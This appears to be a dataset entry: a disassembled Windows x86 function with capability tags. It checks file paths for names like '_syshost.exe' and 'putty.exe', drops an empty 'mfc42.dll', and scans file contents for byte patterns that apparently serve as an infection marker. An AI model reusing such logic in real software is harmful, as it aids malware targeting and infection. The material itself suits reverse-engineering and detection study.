Function at 0x401f7b
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
push edi
push 0x409894
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.MSVCRT.dll_wcsstr]
add esp, 8
test eax, eax
je 0x402028
mov word [ebp - 0x218], 0
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x216]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x218]
push edx
call dword [sym.imp.MSVCRT.dll_wcscpy]
add esp, 8
push 0x5c
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.MSVCRT.dll_wcsrchr]
add esp, 8
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
mov word [ecx], 0
push str.mfc42.dll
lea edx, [ebp - 0x218]
push edx
call dword [sym.imp.MSVCRT.dll_wcscat]
add esp, 8
push 0
push 0
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.Roamingee
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.MSVCRT.dll_wcsstr]
add esp, 8
test eax, eax
jne 0x40206a
push str._syshost.exe
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.MSVCRT.dll_wcsstr]
add esp, 8
test eax, eax
jne 0x40206a
push str.AFXDK_S1
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.MSVCRT.dll_wcsstr]
add esp, 8
test eax, eax
je 0x402074
mov eax, 1
jmp 0x4023f9
push str.putty.exe
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.MSVCRT.dll_wcsstr]
add esp, 8
test eax, eax
je 0x402091
xor eax, eax
jmp 0x4023f9
mov dword [ebp - 4], 0
push 0
push 0
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x4023f7
push 0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x500000
jbe 0x4020dd
mov dword [ebp - 4], 0x500000
push 4
push 0x3000
mov edx, dword [ebp - 4]
add edx, 0x400
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x220], eax
push 0
lea eax, [ebp - 0x224]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 0x220]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x21c], 0
jmp 0x40213f
mov edx, dword [ebp - 0x21c]
add edx, 1
mov dword [ebp - 0x21c], edx
mov eax, dword [ebp - 0x21c]
cmp eax, dword [ebp - 4]
jae 0x4023e3
mov ecx, dword [ebp - 0x220]
add ecx, dword [ebp - 0x21c]
xor edx, edx
mov dl, byte [ecx + 2]
mov eax, dword [ebp - 0x220]
add eax, dword [ebp - 0x21c]
xor ecx, ecx
mov cl, byte [eax]
add ecx, 4
cmp edx, ecx
jne 0x4023de
mov edx, dword [ebp - 0x220]
add edx, dword [ebp - 0x21c]
xor eax, eax
mov al, byte [edx + 4]
mov ecx, dword [ebp - 0x220]
add ecx, dword [ebp - 0x21c]
xor edx, edx
mov dl, byte [ecx]
add edx, 1
cmp eax, edx
jne 0x4023de
mov eax, dword [ebp - 0x220]
add eax, dword [ebp - 0x21c]
xor ecx, ecx
mov cl, byte [eax + 6]
mov edx, dword [ebp - 0x220]
add edx, dword [ebp - 0x21c]
xor eax, eax
mov al, byte [edx]
sub eax, 2
cmp ecx, eax
jne 0x4023de
mov ecx, dword [ebp - 0x220]
add ecx, dword [ebp - 0x21c]
xor edx, edx
mov dl, byte [ecx + 8]
mov eax, dword [ebp - 0x220]
add eax, dword [ebp - 0x21c]
xor ecx, ecx
mov cl, byte [eax]
sub ecx, 3
cmp edx, ecx
jne 0x4023de
mov edx, dword [ebp - 0x21c]
add edx, 0x5000
mov dword [ebp - 0x228], edx
jmp 0x402221
mov eax, dword [ebp - 0x228]
add eax, 1
mov dword [ebp - 0x228], eax
mov ecx, dword [ebp - 0x228]
cmp ecx, dword [ebp - 4]
jae 0x4023de
mov edx, dword [ebp - 0x220]
add edx, dword [ebp - 0x228]
xor eax, eax
mov al, byte [edx + 2]
mov ecx, dword [ebp - 0x220]
add ecx, dword [ebp - 0x228]
xor edx, edx
mov dl, byte [ecx]
add edx, 4
cmp eax, edx
jne 0x4023d9
mov eax, dword [ebp - 0x220]
add eax, dword [ebp - 0x228]
xor ecx, ecx
mov cl, byte [eax + 4]
mov edx, dword [ebp - 0x220]
add edx, dword [ebp - 0x228]
xor eax, eax
mov al, byte [edx]
add eax, 1
cmp ecx, eax
jne 0x4023d9
mov ecx, dword [ebp - 0x220]
add ecx, dword [ebp - 0x228]
xor edx, edx
mov dl, byte [ecx + 6]
mov eax, dword [ebp - 0x220]
add eax, dword [ebp - 0x228]
xor ecx, ecx
mov cl, byte [eax]
sub ecx, 2
cmp edx, ecx
jne 0x4023d9
mov edx, dword [ebp - 0x220]
add edx, dword [ebp - 0x228]
xor eax, eax
mov al, byte [edx + 8]
mov ecx, dword [ebp - 0x220]
add ecx, dword [ebp - 0x228]
xor edx, edx
mov dl, byte [ecx]
sub edx, 3
cmp eax, edx
jne 0x4023d9
mov eax, dword [ebp - 0x228]
mov dword [ebp - 0x22c], eax
jmp 0x4022fd
mov ecx, dword [ebp - 0x22c]
add ecx, 1
mov dword [ebp - 0x22c], ecx
mov edx, dword [ebp - 0x228]
add edx, 0xc8
cmp dword [ebp - 0x22c], edx
jae 0x4023d9
mov eax, dword [ebp - 0x220]
add eax, dword [ebp - 0x22c]
xor ecx, ecx
mov cl, byte [eax + 2]
mov edx, dword [ebp - 0x220]
add edx, dword [ebp - 0x22c]
xor eax, eax
mov al, byte [edx]
sub eax, 4
cmp ecx, eax
jne 0x4023d4
mov ecx, dword [ebp - 0x220]
add ecx, dword [ebp - 0x22c]
xor edx, edx
mov dl, byte [ecx + 4]
mov eax, dword [ebp - 0x220]
add eax, dword [ebp - 0x22c]
xor ecx, ecx
mov cl, byte [eax]
sub ecx, 1
cmp edx, ecx
jne 0x4023d4
mov edx, dword [ebp - 0x220]
add edx, dword [ebp - 0x22c]
xor eax, eax
mov al, byte [edx + 6]
mov ecx, dword [ebp - 0x220]
add ecx, dword [ebp - 0x22c]
xor edx, edx
mov dl, byte [ecx]
add edx, 2
cmp eax, edx
jne 0x4023d4
mov eax, dword [ebp - 0x220]
add eax, dword [ebp - 0x22c]
xor ecx, ecx
mov cl, byte [eax + 8]
mov edx, dword [ebp - 0x220]
add edx, dword [ebp - 0x22c]
xor eax, eax
mov al, byte [edx]
add eax, 3
cmp ecx, eax
jne 0x4023d4
push 0x8000
push 0
mov ecx, dword [ebp - 0x220]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 1
jmp 0x4023f9
jmp 0x4022ee
jmp 0x402212
jmp 0x402130
push 0x8000
push 0
mov edx, dword [ebp - 0x220]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret